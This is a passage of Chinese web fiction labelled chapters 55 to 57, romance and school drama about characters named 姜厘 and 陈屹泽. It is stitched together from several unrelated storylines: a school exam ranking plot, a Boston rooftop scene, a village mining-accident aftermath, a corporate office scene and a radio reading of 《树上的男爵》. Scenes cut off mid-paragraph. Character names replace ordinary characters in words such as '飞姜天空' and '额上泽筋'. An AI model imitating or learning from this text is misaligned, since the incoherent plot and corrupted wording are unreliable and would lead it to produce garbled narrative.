空气中都散发着黄桃的脆甜,酸奶的醇香。 既然是四校联考,那老师们必然不会让同学们把不知道成绩这个遗憾带到周末。 一天后成绩就出来了,不过总分和年级排名都没出,老师还在火急火燎地复查。 周柏羽最爱打听别人的成绩,他问前桌郑承禹:“哎,你总分多少?” 郑承禹答:“不是还没出吗,着什么急。”他一点都不紧张,看了数学成绩,发挥得很稳定。 “哎,我算了算总分还挺高的有七百多分呢。”周柏羽笑得灿烂。 “你也不看看总分有多少。”郑承禹被他的乐观精神逗笑了,“哥,你睡清醒了再来上课。” 周柏羽原本以为这人闷闷不乐是考差了想安慰一下的,但他不知道这里的人对成绩的掌控感好像早就已经超越了情绪。 回头看了一眼,还也就只有姜厘和自己算得上心心相惜了。 便扭头问:“姜厘,你考得怎么样?” 姜厘三个字说出口了又开始后悔,不应该这么直接生硬地,万一像上次一样没考好呢? 姜厘抬头,轻描淡写地回答:“还行。” “还行”和“随便”都是同一个类型的回答,都没有自主延伸话题的潜力。 周柏羽的脑子里冷不丁冒出一个词“聊天缩力”,同样适用于陈屹泽的身上,两个人都让人没有继续聊天的欲望。 正当他心灰意冷之时,姜厘的话又让死灰复燃:“你考得怎么样?” “嗯,七百九十多分呢?” 周柏羽回答的时候嘴角都忍不住上扬,像是一个藏不住偷吃冰激凌后露出喜悦表情的小孩。 “很厉害,哦。” 姜厘这个“哦”明显是为了让语气显得不那么刻意,她的眼神格外真诚。 他根本憋不住,笑得大声。 陈屹泽:“哦?” 真当他是三岁小孩?这么点分还夸上了? 周柏羽能感受到身边气场的变化,阴测测的,像是无形中被一双眼睛盯上了 陈屹泽叩了叩桌板,他不想看周柏羽继续这么丢人显眼,就开口打断他们:“先想想怎么处理你的垃圾。” 这里的垃圾指的是周柏羽错漏百出还未完成的数学作业。 不带一丝怜悯地说完了这句话:“老师让你写完亲自交给她。” “救命!救救孩子!你看古今有多少人折在老张手里,更何况数学成绩刚出,这不是把我往黄泉路上赶吗?”周柏羽双手合十用力祈祷,“你辅导辅导我呗。” “辅导你?” 反问语气透着不可置信。 他黯然又轻嘲地一笑。 随后,斩钉截铁地敷衍道:“谁有狗粮找谁,反正我没有。” 周柏羽的眉毛拧成一团,负气转身,暗自发誓谁在理这个混蛋谁就是狗!祝他买易拉罐没拉环,点外卖没筷子,出门手机没信号,喜欢的女孩看不上他!鼓完气后,誓死如归地踏上去往办公室的路。 而这个被画圈圈诅咒的男人的脸上并没有显露出半分愧疚。 周柏羽抓狂的地拿着数学作业去找了老师:“结束这场黑暗之后便是我涅槃重生之时。” 成绩单被公示出来。姜厘呆在露台吹了很久的风,楼下的狂欢声持续不断地冲刷着耳朵,雪粒顺着没封窗的露台吹进来,落在她泛红的小巧鼻尖。 姜厘被冰得瑟缩了下,扭头被毛毯裹了个严实。 陈屹泽叩上帽子,一向冷白的皮肤因为饮酒的原因也变得淡红。 他跟着坐到席地的垫子上,另一只手抓着的酒瓶给姜厘的杯子蓄满了。 “怎么不在下面玩了?”姜厘弯唇笑。 “太菜了,打不过我还一直吵着要打。” 陈屹泽想到徐轻川的赖皮样,翻了个白眼。 视野范围内,街巷中突然来了对白人夫妇抱着襁褓中的新生儿放起烟花,姜厘用手掌捂了捂耳朵,忽然道:“陈屹泽。” “之前你问我,如果你不追来波士顿,我们是不是就没有以后了,我现在有答案了。” 身侧男生视线轻浅地落到她脸上,像一颗星光,姜厘却仍望着前方的焰火,嗓音绵软却不乏果决。 “是的。” “因为我不会拿我的前程,去赌你是否真心。” “出国的机会对我来说不是永远都有的,有了哈佛的交换经历和Brown的带队经验,我以后的人生会顺利很多,所以我没太多空间去考虑和你的事情。” 陈屹泽啧了声,撑着手臂,佯装有点烦地向后倒了些。 “好伤人啊。” 姜厘转过头定定地看他,一副你再装的模样。 男生目光顺着移到她眼睛,没一会又扬了下唇,语气多了几分认真。 “好吧,其实我一直都知道,” “所以我从来没问过,你有什么难处。” 那些发泄怨愤的质问沉寂下来,渐渐就通了。 有更坦荡光明的路摆在前面,为什么不呢。 他一直都知道姜厘是个理智派,所以始终在努力做她的最优选项。 不管是情感需求还是现实价值,做到最高,就能最难被割舍。 “也不是没有感情,可能是成长经历吧,我妈妈的例子摆在我面前,潜意识让我觉得爱人爱得太满,是很累的一件事。” 姜厘紧张地寻找着自己的姓名,在看到名字的那一刻嘴角抑制不住微微上扬,她位于班级第十九名,年级第一百五十三。 姜厘长长地舒了口气。 浑身上下紧绷的神经都在那一刻失去弹性,她平淡无奇的表情上少见地多了几分笑意。 姜厘真的很想冲出教室大门在走廊放声尖叫,告诉那些看不起她的人:“她可以!她有资格和这所学校的任何人竞争!” 但很快她又冷静下来,这场考试总结来说是自己各门科目水平相对接近,没有太大的短板,所以平均下来分数会比别人高。一场考试如果仅仅看到成绩和排名,那这三天的时间成本未免太过奢侈。 姜厘的野心可远远不仅限于年级前二百,班级中游,如果可以,她希望自己成绩的这条线迹,能距离顶格越来越近。 姜厘又仔细地看了看全班同学的排名,惊讶地发现陈屹泽居然没在第一排,年级第一也不再是他。 第一排被另外一个熟悉的名字取代了,林致优三个字明明白白地占领那处高地。 所有人看到成绩单的第一反应就是看姜他。 陈屹泽就是简单地扫了一眼,就把那张崭新边缘锋利地纸弹进书里,把书扔到了一边。 在外人眼里,他此刻应该是难过的。 谁料,他丝毫不受影响,依旧不改往日散漫的状态,泰然自若地安静翻书,就好像在意料之内。 周围的人尤其是周柏羽都把老师推后放榜时间都归咎到了他身上,担忧地问道:“会不会是成绩出错了,老师漏输了一科成绩,这怎么可能?” 不光是他就连姜厘都难以置信,班级第十一名,年级第五十四。 和之前差的不止一星半点。 曾经的中考状元年级第一,也不至于退步到这个程度吧,就连年级前十都查无此人了,更何况那是陈屹泽!他这人把学习当作玩,你告诉我他一个月退步这么多?鬼才信!周柏羽绞尽脑汁也想不明白,这位大小姐唱得究竟是哪儿出? 总的来说,高一一班闹鬼了,名不见经传的姜厘从最后一个考场冲进年级前百,进步了足足八百多名,天之骄子陈屹泽爆冷跌出了年级前十,甚至都没有班级前十。 虽然整个年级能人多,沉沉浮浮很正常,可是像他们两个这么大的起伏,班主任有多大的心脏才能承受得住啊!!! 周柏羽看见他的第一反应是关心:“陈屹泽,你是不是受伤了?”不管是脑子还是身体。 “莫非你的天才系统到期了?”周柏羽的脑洞非常人能及。 陈屹泽的语气里听不出喜怒:“劝你担心一下自己。” 还是同往常一样,一言不合就揭人伤疤,周柏羽这次创历史新低,妥妥进了后位圈。 忍痛割爱:“反正我就这样了,还不如把成绩分给你。” 陈屹泽发笑,斜睨了他一眼:“差你这三瓜两枣?” 看来他的情绪没太被影响到,发挥依旧稳定,周柏羽深谙这人的秉性,悬着的心吊死了。 姜厘原本不想关注前排的动姜的,奈何陈屹泽的失常过于离奇,让人好奇,没忍住侧耳偷听。 陈屹泽注意到了这只小老鼠,照理说她的成绩足以得到一声惊叹,周围的人似乎忘记了这匹黑马,可能比起努力者的得偿所愿,他们更爱看孤高者落入泥潭。 一直盯着陈屹泽看的周柏羽捕捉到了这一抹诡异的笑,精神都有些恍惚,不是这哥们退步这么多居然还笑得出来! “完蛋了,陈屹泽你被夺舍了!什么东西,快从他身上下来!” “滚。” 刘司机看着他是不需要帮忙的意思,忙坐上驾驶位开始系安全带,等到陈屹泽把人安排妥当,他才习惯性开口问道。 “少爷,现在可以出发了吗?” 后排没开阅读灯,只有座位下一排模糊的脚窝灯亮着。 昏暗的车灯下,姜厘肢体柔软,一个人霸占了三分之二的位置,陈屹泽低眸,轻轻戳了戳女生伏在自己大腿上的脸蛋。 淡声回道:“嗯。” “开慢点。” 第 55 章 第 55 章 “听说了吗?姜小姐昨晚在车上睡着了,是少爷亲自把她抱回房间的。” “少爷和姜小姐现在关系这么好了?” “是啊,怎么也没想到他们的兄妹关系能处成这样……” 陈屹泽就没有个空闲的时候。 这两天里,先是进城把所有现金背了回来,按照当初法院下的赔偿项目分好,剩余的钱算作平分,上门取挨家挨户地给。 有两家是不让进门的,陈家,还有齐家。 恨意会被时间发酵,变得难以承受。 在此之前,陈家一直算是镇子上的富余人家,老爸更是出名的能人,彼时,谁都夸他。 五年前陈屹泽考上重点大学,老爸比谁都高兴,摆了十天长街宴,那个时候,陈屹泽觉得手里的握着沉甸甸的幸福,一切美好都触手可及。 也是那个夏天,老爸筹备小矿场,希望多挣一些,争取早点让儿子在大城市买房,一起进矿的都是相熟的好友,齐群父母向来和陈家亲近,二话不说就加入进来。 噩耗来时,陈屹泽刚报完到。 山体滑坡,矿场倒塌,救援深入的时候一切都已经太晚。 事故调查迟迟没有定论,说是天灾,说是地质勘测,说是老爸为了钱铤而走险。 加上陈屹泽自己,一共十家人失去了顶梁柱,其中,齐群失去了双亲。 恨谁呢? 恨天恨地不太现实,恨命毫无作用。 不如恨一个具象的人。 陈家变卖一切,三叔三婶把服装厂都卖了,留个杂货铺维持生计,老妈卖掉车和房,同陈屹泽一起吃住在铺子里。 即便如此,在那么多条命前,一切都显得徒劳。 最开始那几个月特别难熬,老妈整日失魂落魄,几次悄悄走到河边,坐很久,又自己回家,直到发现陈屹泽每次都跟着自己。 那是陈屹泽唯一一次看到老妈那样哭,她哭着说对不起,又哭着问怎么办啊。 陈屹泽告诉老妈,没事的,会好的。 老妈哭累了,疲惫地跌坐在河边,没一会睡了过去。 陈屹泽在河边抱着老妈坐到天亮。 那年他十九岁。 自己办的退学。然后是从现在往上数的四个小时, 空空如也,他再没发过一条。 完了。 姜厘脑袋瞬间杵起,生无可恋地跟刚推开阳台门的陈屹泽对上视线。 Mateo紧随其后,表情有些异样地看着姜厘,纠结道:“lili,如果说经济方面有负担,完全可以转租那间卧室的,不用考虑太多,我会在软件上再发一个找舍友的帖子,你的东西今天就可以全部搬出了。” 姜厘闻言,目光先打在一边抱臂散漫的陈屹泽身上,随后思忖一会,还是答应了。 “谢谢你Mateo,我会付相应的转租费给你的。” Mateo这边押一付一,她不续租却没有提前找好舍友,理应承担一部分的房费。 “不用了,chen已经帮你给过了。” Mateo叹了口气:“其实你可以早点跟我说的,我不知道你在外面还有住处。” 不知道陈屹泽跟Mateo说了什么,白人青年灭掉手中的烟,说什么也认定姜厘是不好意思跟他开口才迟迟不退租的。 姜厘懒得再解释了,只承诺今晚就把所有东西搬出去,同时也会在校友群中帮忙发帖招租。 话音刚落,公司临时发来紧急任务。 Mateo从阳台出来后只停留了三分钟,接到电话后脚不沾地地走了。 入户门复又闭上,房间呈现出诡异的寂静。 陈屹泽从小跟着爷爷和老爸做木工活,即便耳濡目染,但真正上手始终生疏。 初挑大梁,手艺算不上纯熟,误工都算好的,好几回险些把手锯了,口子更是东一道西一条,难以计数。 老妈渐渐振作起来,她被老爸宠了许多年,已经很有没有工作过,一样可以自己进城去找活。 照顾九个家也是从那个时候开始。 能接的活都揽过来做,手不熟就通宵练,每天买肉买菜,学期开始前给有孩子的家送去学费。 因为补偿款五年前 没给够。 也因为陈屹泽不敢停下来,他怕自己也沉浸痛苦不可自拔,怕自己稍微松懈就再没力气走下去。 九家人里,有漠视以对的,也有慷慨施笑的,九种表情,九种隐而不发的情绪。 只有痛苦是相似的。 陈家也失去了一位父亲,可谁在意呢?好似“受害”和“加害”真的只有一字之差。 越来越多的人说老爸是杀人犯。 不知不觉间,承担已然变成了陈屹泽的底色。 卖了房,带回钱。 一家一家去送,前半段比较顺利。 陈屹泽深深鞠躬,说以后就不每天送肉送菜了,但有需要的,随时可以联系他。 其中几家每一次陈屹泽上门时都会劝他不用这样,但陈屹泽只有亲手把钱交到他们手里,才觉得自己有资格这样说。 张婶和二丫哭得抱作一团,赵老叔挥舞拐杖让他滚出去。 陈家妈妈向来不许陈屹泽进门,这次也是一样,陈小胖在侧门接过钱,小声说:“妈妈在里面哭。” 陈屹泽低头看了他好一会,沉默着揉了揉小孩儿的脑袋,把自己买的一大袋零食递给他,“吃完记得刷牙,小心蛀牙。” 很重的一袋,陈小胖却没笑,而是很担忧地问:“屹泽叔,妈妈说以后你不会管我们了,你不管我了吗?” “管的,”陈屹泽蹲下去对他说,“以后我会常常来看你。” “你要来的。”陈小胖说。 “会来的。”陈屹泽答应他。 陈小胖有些犹豫,黏声说:“我有点害怕,屹泽叔,你抱抱我。” 陈屹泽深深吸一口气,暗自稳住情绪,将小孩儿捞进怀里抱住,还把他举过头顶,带他玩了几圈飞机游戏。 陈小胖被挠到痒痒肉,趴在陈屹泽肩头乐得嘎嘎笑,笑声脆响,过了会,又开始抽泣。 他说:“屹泽叔,我想爸爸。” 陈屹泽轻轻拍着小孩儿的背,抱了很久。 最难的一家是齐群。 门打开时,齐群双眼布满血丝,眼神阴鸷,“你是解脱了吧陈屹泽?” 陈屹泽没回答他,从背包里取出那几捆钱。 齐群盯着那些钱看了几秒,猛地伸手抓过来,继而用力地砸向陈屹泽的脸。 “你怎么不去死啊!” 陈屹泽安静地弯下腰捡钱。 齐群几步跨到他面前,挥拳过来。 陈屹泽没躲,拳头结结实实地带着风,砸到他颧骨上,砸得眼前白光一片。他踉跄着稳住身子,舔了舔嘴角,继续捡钱。 拍了灰,堆好,又递过去,“别和钱过不去。” 齐群依然没接,喘着粗气盯着那堆钱,肩膀开始颤抖,随后整个身体都绷紧,猛地蹲下身抱着头嚎啕大哭。 陈屹泽等了一会,脱掉自己上衣,铺在齐群身旁,把钱整整齐齐地码在那。 最后,他拎了两瓶酒去老爹坟前坐到天黑。 “爸,喝酒。” 眼泪悄无声息地涌了出来,陈屹泽没擦,想了会,小声说:“我想你。” 情绪在这一刻决堤,他双手捂住脸躺身下去,蜷缩在坟前,喉头挤压出低沉的呜咽,呜咽逐渐变成大哭,释放这五年来的压力和思念。 “爸,我好想你……” 再回到家,发现全家上下都是一样红着眼,老太太都哭了,当晚开心得多喝了半斤包谷酒,远在外地念书的表妹得知消息,激动地打电话过来非要视频,三婶犟不过她,只好把手机供在饭桌上,一家人说说笑笑,又沉默叹息。 未来再如何光明,痛苦已然发生。 陈屹泽还是会想起姜厘,越是想,那个夏夜的画面就越发清晰。 姜厘坐在院子里说她吃了很多苦,眼睛微微垂着,声音很轻。她总是困倦,会因为很隐秘的情绪而变化表情,说不了几句话就要嘲弄人,很瘦,又带着伤。 陈屹泽不明白他和姜厘怎么会闹出这样的不愉快。 他会反复想起姜厘那天颤抖的睫毛,抿着嘴避开视线的样子。 陈屹泽开始隐隐后悔自己说出的话,开始思量自己是不是带着没必要的自尊心去伤害大恩人。 再次得知关于姜厘的消息,是孙明跑来通知的。 陈屹泽刚从木材厂回来,车还没停稳,孙明就急吼吼地扑过来拍窗,“屹泽!她在镇口被堵了!” “谁被堵了?” “姜厘!” 陈屹泽立刻从车上跃下来,跨上摩托窜了出去。孙明话说一半,只好先骑着摩托跟在后面。 秋芒镇是没有过这种场面的,豪车、保镖,围观的人不少。 车身泛着昂贵刺目得光泽,几个身着西装戴着耳麦的人正把围观的人群往外推。 姜厘向来显眼。 她站在其中一辆车前,挺着脊背和车里的人说话,阳光直直照在她头顶。 又没戴帽子。 孙明赶过来停在陈屹泽旁边,“卧槽,这些车我就在网上见过啊,哎屹泽,你这买主到底什么来头啊?” “不是我的买家,买的房子。”陈屹泽纠正。 他撑着摩托,远远地看着那边的情况,不晓得说了什么,前后几辆车下来六个保镖围住了她。 下一秒,姜厘居然拔出刀来对着自己下巴。 围观的人开始低呼。 没有思考的余地,陈屹泽想也不想,拉着离合扭动油门。 他不确定姜厘需不需要有人帮她,也不确定姜厘想不想要陈屹泽出手。 但如果姜厘不放下刀,陈屹泽会立刻过去。 油门扭得又凶又急,她果然回头,好像笑了一下。 也只有一下。 姜厘收回注意力,继续用目光询问车里的人。 姜辞忧从车窗伸出手摆了一下,围着人的六名保镖依次上车。 “没必要这么极端。”他说。 “难道你就温和了?”姜厘放下了刀,“姜辞忧,我只给你这一次回答,相信你能看清我的决心。” “看清了,”姜辞忧目光投向不远处那个骑着摩托的泽年,“厘厘,这是你的新朋友?” 姜厘没有闲聊的心思。 知道姜辞忧迟早要来,这种极端情况在姜厘的考虑范围之内,毕竟姜辞忧真能做出这样的事儿。 至今为止,姜厘从未公开主动做什么,她手里捏着可以对姜家起致命打击的证据,这一点养母知道,姜辞忧当然也知道。 她会终生感恩老师,但也只能报答到这一步了。 姜辞忧今天到这,无非是受不了她脱离控制,也想来听一个答案。 “我会收回起诉,”姜厘大方地给出答案,“你也别再来,你应该知道鱼死网破四个字怎么写。” “你不要姜家,那我呢?” 姜厘不予反应,“慢走。” “厘厘!”姜辞忧喊她,咔嗒一声拉开车门,准备下车的同时问,“你觉得我是担心你起诉?” 姜厘回手门和人都按回去,“你还担心钱。” “没必要到这一步,”姜辞忧手还扣在车门上,“我可以解决。” 他又看了一眼不远处的泽年,“你要留在这,你知道他们这样的人——” “姜辞忧,”姜厘收敛笑意,“你很有钱,你过得开心吗?” 她顿了顿,偏头摆出一个怜悯的表情,“你喜欢的人都不喜欢你,你在骄傲什么呢?你觉得自己到这来逼迫我嫁给你这个行为很高贵吗?” 口吻轻松,像是在说别人的故事。 “你很爱我吗?未必吧,不然你接受我的起诉,接受调查,接受名誉破碎一地,我们平等之后,你再来说娶我好了。” 姜厘给出建议。 姜辞忧猛地抬眼看她,额上泽筋已然暴露情绪,他抿直嘴,问:“这是帮他说话?” “不然呢?”姜厘反问。 她摇头说:“姜辞忧,可能你忘了,被老师捡走的时候,我也很狼狈,我就是你嘴里的那种人。” “我们相处了很多年,”姜辞忧抬头说,“你不可能一点感情都没有。” 姜厘已经开始离开,“你只是不甘心,别给自己打深情的标签。” 陈屹泽和所有人一起看着她往这边走,停在他面前,盯着他的脸。 “怎么又伤了?”她问。 陈屹泽被她盯得有些不自在,往后仰了仰身子,没回答。 谁能想到姜厘直接拽着他的腰跨坐到摩托后座,手抓着衣服,扒着肉,那一整块皮肤都开始变得奇怪 ,难以描述的感觉开始蔓延。 陈屹泽僵住身子。 他不记得上一次有人这么亲近地触碰自己是什么时候,或许从未有过。 重点是姜厘都不知道避嫌的吗? 这么多人看着呢。 “一会路过的时候崩那辆车,”姜厘指挥。 陈屹泽喉结滚了滚,低声说:“不路过,我不去那边。” 姜厘又捏他。 陈屹泽捏得抖了一下,嘟囔:“别动手动脚。” “快点。”姜厘催他。 陈屹泽注意到姜厘的手臂在自己腰间收紧,一同被勒住的还有肺,有些不好呼吸。 那辆车的后窗还没升起来,里面坐着个人模狗样的男性。 被姜厘碰过的地方都变得很奇怪。 陈屹泽没有再说话,也没明白自己为什么要那么听话。 但是路过那辆车的时候,十分响亮地崩了一下油门。 好漫长的一个沉默。 第 56 章 第 56 章 可爱萌神.徐轻川的视频只被粗略浏览了几眼,陈屹泽脑子里还装着姜厘想让汤柘进小分队的事,顺手举报了这个低脂小视频,随后利落地抬眼。 “你知道为什么。” 话题衔接得毫不拖沓,姜厘隐隐想起之前陈屹泽介意汤柘的点,敛眉还是有些不甘心,“我希望比赛的事情我们都能公正看待。” 陈屹泽忽地笑,“什么是公正?” 晚霞依旧很美,远山的云看上去像一块草莓波旁蛋糕。 姜厘慢步到了学校的便利店,如果觉得有些无聊,不妨奖励自己一支棒棒糖。 一盒黄桃酸奶、半片杏仁饼干、风味海带构成了眼前这个张开嘴等风倒灌的女孩,她显然是被辣到了。 双脚踩在花坛边凸起类似于平衡木的地方,不停地用手扇风。 姜厘没想到这么小小一包海带居然这么辣,她应该先吃海带条再喝酸奶的。 整个人被橘色的柔光笼罩着,金色的光晕弥漫着温柔。 陈屹泽正正好看到这个滑稽像是站在定格动画上的粉色小人。 “你傻笑什么?”周柏羽看着面前这个人,顿感陌生,想顺着他的视线看过去,却被这人挡的严严实实。 他的脸色瞬变,略微上扬的嘴角又绷直成一条直线。电梯门一开,一行人等在门口,追上走出的男人。 “陈总,这是您要的资料,您过目。” “陈总,有几家投资机构打来了电话,询问发布会的事情,我整理了一份信息,稍候发到您邮箱。” “陈总,信丰的vincent王送了一个包裹过来,放在您桌上了,您看看。” “陈总……” 陈屹泽被各式各样的人包围,嗡嗡嗡个没完。 高大的身影从走廊一端显现,男人穿一件宝蓝色反绒衬衣,袖子挽起到小臂。 Alex如此热情,一是他天生社牛,二是姜厘太可爱,你看她长相,眼睛圆圆,戴着黑框眼镜,乖巧漂亮,看人带着股怯,和那些眼睛长在头顶的女同学都不一样。 死神之声响在姜厘头顶:“姜厘,你知道几点了吗?” “你是行政吗?行政岗在那边哦,你肯定走错了,要不要我带你过去?” 他气场很强,走过来时,引得所有人注目,到姜厘跟前,停了脚步。 看他面色不善,众人都是一怔。 几人面面相觑。 叫不来,姜厘还没到呢。 “不用?别客气呀,说不好以后都是同事呢!” 上班第一天,科技园区的地铁站前人头攒动,如丧尸攻城,她在人潮之外屏住呼吸,掉头就走。 但她显然没有成功,走到半道,就被人拍了拍肩膀拦下来。 Alex一愣。 好似回音,一道低沉冷冽的男声响了起来。 回到小区,骑了自己的小电驴出来,捡着人少的绿茵道骑,晃悠了近二十分钟抵达公司。 他听得烦躁,扯了扯领带,比了个stop的手势。 “我不找她我没事念叨她这个呆瓜干什么,我闲出屁了?” “都别烦我,姜厘来上班没有?” 陈屹泽摔上门,把一堆手下关在了外面。 姜厘一扭脑袋,好似受到惊吓,眼睛瞪的圆溜溜的。 那是个活力四射的男大,来应聘的,也把她当一样了:“哈喽,我是alex,人工智能研发岗,我刚从MIT毕业,你是哪个学校的?” 陈屹泽不知道自己是何时发生改变的,看见这样愚蠢的举动会笑,还生出一种莫名想要独占的心绪,处理这些情绪的同时,脑子都钝了。 原来,她喜欢黄桃味的酸奶。 周柏羽催促他赶紧回去,晚上还要清空桌面和书桌,为月考做好准备。 回到教室的时候,绝大多数的人都已经东西给搬好,桌面给清空了。 姜厘把不常用的书装进收纳箱,桌面整齐干净,只剩下透明笔袋和明天考试的资料。夜自修并没有布置作业,与其说这是自主复习不如把这三节课看作无声的真心话大冒险。 认真复习的人数寥寥无几。 第一天考语数英,时间较为充裕,语文需要记忆的无非是些古诗词和文学常识,英语的语感和听力不是短时间锻炼一下就能突飞猛进的,数学就更没有临时抱佛脚一口气吃成胖子的可能,这些基本上都靠平时积累。 姜厘正在做数学卷子练手感,只做选择题和填空题,一边计时一边做题。她要的不只是正确率还有效率,三套卷子下来大多数只错一道两道,并且都在压轴题的范围。 全神贯注丝毫不被周围人影响,不参与他们的游戏。“招募的信息刚发出去,还没有经过正式的筛选评估,你就要直接锁定他,这是公正?” “就算我掺杂个人情感排斥他,你也应该能理解吧,换做是我身边多了个对我有企图心的人,别告诉我你会没一点感觉。” 姜厘被陈屹泽的视线牢牢锁着,虽然他现在语气神态都十分正常,但她分明感觉四周的气压都变低了。 姜厘温吞了一会,实在反驳不了他。 他们的关系,就算再怎么复杂说不清,也确实做到了排他性。 如果陈屹泽身边真的出现了其他女生,她也会闹脾气。 可是…… 姜厘又看了眼陈屹泽,欲言又止。 陈屹泽扫过她放在桌面频繁亮起的手机,目光略沉,他放了筷子,准备离席的前一刻再退了步。 “他可以进,但不能是你推荐来的。” 这已经是陈屹泽的底线了,如果汤柘没有和她从小长到大的交情,他或许连公平竞争的资格都没有。 小队招募本来就是件可操作空间很大的事,刷掉一个人再正常不过。 “我知道了,我会让他正常参与竞争,”姜厘点头如捣蒜,在擦肩而过的间隙迅速拽住了他手臂,仰头眸色清润, “你有没有生气?” 陈屹泽低眼对上她的目光,面容平静,“没有。” 他这样太反常,姜厘有些慌,拽得更紧。 “那你开心吗?” 如墨般漆黑的眸注视着她,陈屹泽淡声反问道,“你说呢。” 大概是刚上小学的时候,姜厘当时买了一个先进的带锁日记本,本子上还贴着闪钻,她看到后非常眼红每天都缠着妈妈想买一个结果被妈妈打了一顿。 最后还是姜厘把本子让给妹妹,自己又用回了那个又黑又厚的笔记本。在姜家没有姐姐让妹妹这种不成文的规定,反而一直限制约束姜夏锦,要她谦让姐姐。 姜厘有多么无欲无求,就显得她有多么幼稚可笑。 “你怎么在这儿?”姜厘看见走廊处站着的她很是惊讶。 好在周围没什么人。 把她拉到一边,略带担忧地说道:“朋友呢?” 以往妹妹去哪儿身边总会跟着一大堆朋友,姜厘害怕是因为自己的缘故才导致她一个人,不去找她也是这个缘由。 姜夏锦无所谓地回道:“我让她先回家了。” “那就好。”姜厘松了口气,“你找我什么事?” 姜夏锦内心早就打好了腹稿:“姐,你最近怎么样?” 这些天以来,她听到了太多风言风语,想知道这处于风口浪尖的人物过得怎么样? “我挺好的啊,进度都补上了。”姜厘还是没懂她的意有所指,“对了,你怎么样?过得开心吗?” 姜厘问得也正是她要问得。 “开心。”姜夏锦据实相告。 姜夏锦从小到大都是这样,毋庸置疑的好人缘,就凭那颠倒黑白的嘴在哪儿都吃的开,别人对她的印象基本上是活泼乐观爱笑,姜日葵这三个字也只会成为她的外号,不会是姜厘的。如果说她是西瓜泡泡糖,那姜厘就是薄荷木糖醇;形容她是阳光下的覆盆子,那姜厘则是橡木苔上结的霜。 四分之一的血缘没给她们相似的东西,反倒是成了坐标系上的y轴。 姜夏锦思考了很久才问出口:“姐,你都是一个人吗?” “对啊。”姜厘知道读懂了她的用意和担忧,“这样,挺好的。” 两个人同时叹了口气,接下来就是长久的沉默。 姜夏锦没办法问出“你有被欺负吗?”这种残忍的话,这个问题对问者和答者都是煎熬,但她又忍不住担心姐姐的近况。 姜厘盯着她的眼睛,笑了:“你不用考虑太多,问吧。” “姐姐,是不是有人欺负你。”姜夏锦直接问出口。 姜厘清楚地明白她的顾虑,看上去是个问题却也不是个问题,问出口时却成了傲慢。这是一个讲回答者的真实想法都封锁起来的问题,是明知道答案还要在确认一遍的重压感。 但姜厘不会计较,也不会放在心上,诚恳地说道:“你说哪种?冷嘲热讽的话,有;肢体暴力的话,没有。” 她说出口的语气是如此轻松,就好像受害人不是姜厘本人,就好像那些言语于她而言不过只是蚊虫叮咬,不痛但痒。 姜夏锦从没想过会得到这个答案,双眼憋得通红。 “别担心了,好好复习准备月考吧。”姜厘摸了摸妹妹的头,没等她反应过来就走了。 她居然还安慰别人,难道不应该心疼心疼自己吗? 姜夏锦看着那个逐渐拉长远去的黑影,握紧了双拳。 陈屹泽神情一顿,垂着的眸子随即抬起。 “就因为他有36块奖牌吗?” 第 57 章 第 57 章 这都什么跟什么,关奖牌什么事。 姜厘不理解少爷随处发作的胜负欲,警告地盯了他一眼,随后开始熟悉起电脑。 严格意义上来讲,徐轻川才是小队的后勤保障人员,他不光面试招揽了4号队友,还贴心地给四人拉了个群。 群文件塞满了纪隽帮他们搜罗到的往年美洲区和欧洲赛区真题以及相关比赛视频。 姜厘没看真题,先打开了一个比赛视频代入场景。 赛时场地在一个巨大的体育馆,馆顶的银色钢条盘纵交错,像放大了无数倍的水果保护网套。 笼罩着下面密密麻麻的格子间。 每四人共享两台电脑,和四份厚厚的空白页笔记本,格子间与格子间中间装了冲浪板样式的椭圆格挡板,另有四台人力工学座椅。 观众席黄蓝交接,类似常规运动会的规格,不过到时只有各队教练及相关负责人记者才有资格入席。 打眼一看,氛围还挺紧张。 柯希莫认为宇宙的尽头在树梢,每当他迷茫和郁闷的时候都会爬到树的顶端,姜远处眺望。长久以往,他厌倦了地上“逼仄”的生活,干脆生活在树上。 此举不是为了逃避,而是为了抵抗,为了“和尘世保持必要的距离。” 即使生病奄奄一息,人们把床架到树上,让医生给他看病,他也不愿意。 当一个热气球飞过树顶,他却像孩子一样一跃而起,抓起气球的绳子,飞姜天空。 如果你累了,厌倦了现在的生活,不妨爬树看看。 广播里的女声干净清润,像厘雨之于新笋,像山水画般刻雾裁风,整理好念完的稿子,点击播放了下一首音乐。 晚自习前的休息时间,学校广播站会准时准点播放音乐,紧接着朗诵,收到后筛选过的匿名稿件,每期专栏都有其对应的书,本期的读物是《树上的男爵》 干净的女声会给人蒙上一层幻想,同学们都在讨论这个神秘的播音员,猜测她长相应该很美。 不过这些无关紧要的讨论无非是为了缓解月考带来的压力。这次月考是四校联考,也是姜厘高中以来的第一场大型考试。 自从上次听完陈屹泽的话后,姜厘手里错题本在逐步减少,不仅正确率提高,她做题的速度也在慢慢变快。 姜厘不想受晕轮效应的影响,导致自己对陈屹泽看法不够全面客观,也不想矫枉过正对他过于吹毛求疵。 不管怎样,他学习上的心得对自己是有所裨益的。 老师头一次没拖堂,姜厘用完晚饭后便一个人散步消食。 H大的校媒总算在太阳落山前联系到了徐轻川,对方沟通说学校通用的相机支架已经还到了活动室,负责人现在不在校内,但自己有个人的单反可以给他们用。 拍完加剪辑,大概一天就能完成,明天下午校队宣传视频会在学校各大媒体账号同步更新。 徐轻川灵机一动,把自己昨天做的鬼畜风招生视频发给对方,想省三个人的拍摄时间,最后被对方以“有辱校风”为由驳斥了回来。 还是得去拍。 徐轻川失落地长吁一声,随后单肩甩上自己的奢牌包,边嚼口香糖边招呼剩下两人,“走了,拍宣传视频。” 三人刚迈出会议室,迎面撞上握着两瓶饮料的汤柘。 男生身上的褐色风衣格外吸睛,他自然地把手中的茶饮料塞到姜厘手中,视线默不作声地从陈屹泽脸上荡过,最终看向姜厘:“姐姐,你的水。” 音响里多余的杂音震碎天际的云。 所有人耳清目明之时,他缓缓开口: “数不清有多少次站上过主席台了,或许以后,我们会更常见面。” 他刚开口便引得一众哗然,没有往常“亲爱的老师同学。”那么礼貌庄重的开头,如此离经叛道的自我介绍,让教导主任和一众老师都大跌眼镜。 站在主席台上讲话本应该是一件值得紧张的事,在陈屹泽这儿,不过是平平无奇的家常便饭。 下面的同学却尤为兴奋。 这么狂,也只有他陈屹泽。 “从我踏入这所高中就预料到了,不过野心、梦想、底气,这些绝不是说说而已的词。这会是你未来的全部依靠,你如何努力,未来便如何发生,心中有火花的人才能被点燃。” 这些话看样子是循规蹈矩地按照稿子上来的。 